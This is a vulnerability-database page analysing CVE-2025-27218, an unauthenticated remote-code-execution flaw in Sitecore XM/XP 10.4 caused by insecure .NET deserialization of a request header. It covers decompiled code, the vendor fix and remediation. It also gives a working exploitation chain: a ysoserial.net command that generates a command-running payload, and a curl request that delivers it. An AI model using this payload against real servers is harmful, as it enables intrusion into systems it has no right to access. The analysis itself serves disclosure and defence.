Very High
CVE-2025-27218
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
Very High
(1 user assessed)High
(1 user assessed)Unknown
Unknown
Unknown
CVE-2025-27218
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Sitecore Experience Manager (XM) and Experience Platform (XP) 10.4 before KB1002844 allow remote code execution through insecure deserialization.
Add Assessment
Ratings
-
Attacker ValueVery High
-
ExploitabilityHigh
Technical Analysis
Overview
On January 6, 2025, Sitecore published a security bulletin, SC2024-002-624693 , for a critical unauthenticated remote code execution (RCE) vulnerability affecting the products Sitecore Experience Manager (XM) and Experience Platform (XP) 10.4. On February 20, 2025 the vulnerability was assigned CVE-2025-27218. The vulnerability is the result of deserializing attacker controlled data originating from an HTTP GET request. An unauthenticated and remote attacker can execute arbitrary commands by sending a base64 encoded serialized .NET object into the ThumbnailsAccessToken
HTTP header.
Analysis
Our analysis is based upon a vulnerable version of Sitecore XM 10.4 ( Sitecore.Kernell.dll version 19.4.84 ).
Vulnerability
The vulnerability lies in the screenshot functionality for generating thumbnails. It works by taking a screenshot of the page with phantomjs, then resizing the image. To begin to analyze CVE-2025-27218, we will first view the vendor supplied hotfix. The hotfix removes the Sitecore.Thumbnails.Pipelines.AuthenticateThumbnailsRequest
processor from the httpRequestBegin pipeline.
<configuration xmlns:patch="http://www.sitecore.net/xmlconfig/" xmlns:role="http://www.sitecore.net/xmlconfig/role/"> <sitecore role:require="Standalone or ContentManagement or XMCloud"> <pipelines> <httpRequestBegin> <processor type="Sitecore.Thumbnails.Pipelines.AuthenticateThumbnailsRequest, Sitecore.Kernel" resolve="true"> <patch:delete /> </processor> </httpRequestBegin> </pipelines> <settings> <setting name="Sitecore.ThumbnailsGeneration.Enabled"> <patch:attribute name="value">false</patch:attribute> </setting> </settings> </sitecore> </configuration>
We can view the code of the disabled function by opening Sitecore.Kernel.dll
in a .NET disassembler and browsing to the
AuthenticateThumbnailsRequest
class in the Sitecore.Thumbnails.Pipelines
namespace. The class grabs an HTTP request, checks if a header is valid with _tokenService.IsTokenValid
, and authenticates the request as a user if it returns true.
public override void Process(HttpRequestArgs args) { string text; if (args == null) { text = null; } else { HttpContextBase httpContext = args.HttpContext; if (httpContext == null) { text = null; } else { HttpRequestBase request = httpContext.Request; text = ((request != null) ? request.Headers[ThumbnailFlowBase.TokenName] : null); } } string text2 = text; if (!this._tokenService.IsTokenValid(text2)) { return; } string generatorUserName = this._settings.GeneratorUserName; User user = null; if (!User.Exists(generatorUserName)) { object @lock = AuthenticateThumbnailsRequest.Lock; lock (@lock) { if (!User.Exists(generatorUserName)) { user = User.Create(generatorUserName, "b"); user.Profile.IsAdministrator = true; user.Profile.Save(); MembershipUser user2 = this.GetUser(generatorUserName); user2.ResetPassword(); } goto IL_B6; } } user = User.FromName(generatorUserName, true); IL_B6: this._authManager.Login(user); }
Viewing the IsTokenValid
method in the MachineKeyTokenService
in the Sitecore.Thumbnails
namespace, we can see the token is processed in the Convert.Base64ToObject
method.
public bool IsTokenValid(string token) { bool flag; try { byte[] array = Convert.Base64ToObject(token) as byte[]; byte[] array2 = MachineKey.Unprotect(array, Array.Empty<string>()); if (array2 == null || array2.Length == 0) { flag = false; } else { Guid guid = new Guid(array2); flag = guid == this._token; } } catch { flag = false; } return flag; }
The token name can be found in the ThumbnailFlowBase
class in the Sitecore.Thumbnails
namespace, which contains the method for taking screenshots along with others.
public static string TokenName { get; } = "ThumbnailsAccessToken";
This method was previously leveraged for a critical RCE vulnerability discovered by Assetnote, which Sitecore provides a patch for in their SC2023-001-568150 security bulletin. The method base64 decodes the string and deserializes it with BinaryFormatter.
public static object Base64ToObject(string data) { Error.AssertString(data, "data", true); if (data.Length > 0) { try { byte[] buffer = Convert.FromBase64String(data); BinaryFormatter binaryFormatter = new BinaryFormatter(); MemoryStream serializationStream = new MemoryStream(buffer); return binaryFormatter.Deserialize(serializationStream); } catch (Exception exception) { Log.Error("Error converting data to base64.", exception, typeof(Convert)); } } return null; }
ysoserial.net can be used to generate a payload with shell commands.
PS C:\Users\admin1\Desktop\ysoserial-1.36_\Release> .\ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "ipconfig > \inetpub\wwwroot\XP0.sc\upload\pwn.txt" AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpd...
Sending the payload in the ThumbnailsAccessToken
will run the command.
curl -k https://xp0.sc/ -H "ThumbnailsAccessToken: AAEAAAD/////AQAAAAAAAAAEAQAAAClTe..." -v
The Fix
The token is parsed as a string instead of a object, so it isn’t deserialized.
public bool IsTokenValid(string token) { bool flag; try { byte[] array = Convert.FromBase64String(token); byte[] array2 = MachineKey.Unprotect(array, Array.Empty<string>()); if (array2 == null || array2.Length == 0) { flag = false; ...
Remediation
For on prem and PaaS installations, apply the hotfix in KB1002844 , provided by Sitecore.
Validate that the updated version is installed by viewing the properties of the Sitecore.Kernel.dll
and ensuring that the version is higher or equal to 19.4.93.21984
Another option is to download a config file that disables the vulnerable functionality from Sitecore’s security bulletin, then place it in the \App_Confing\Include\zzz
folder.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
References
Additional Info
Technical Analysis
Report as Emergent Threat Response
Report as Zero-day Exploit
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: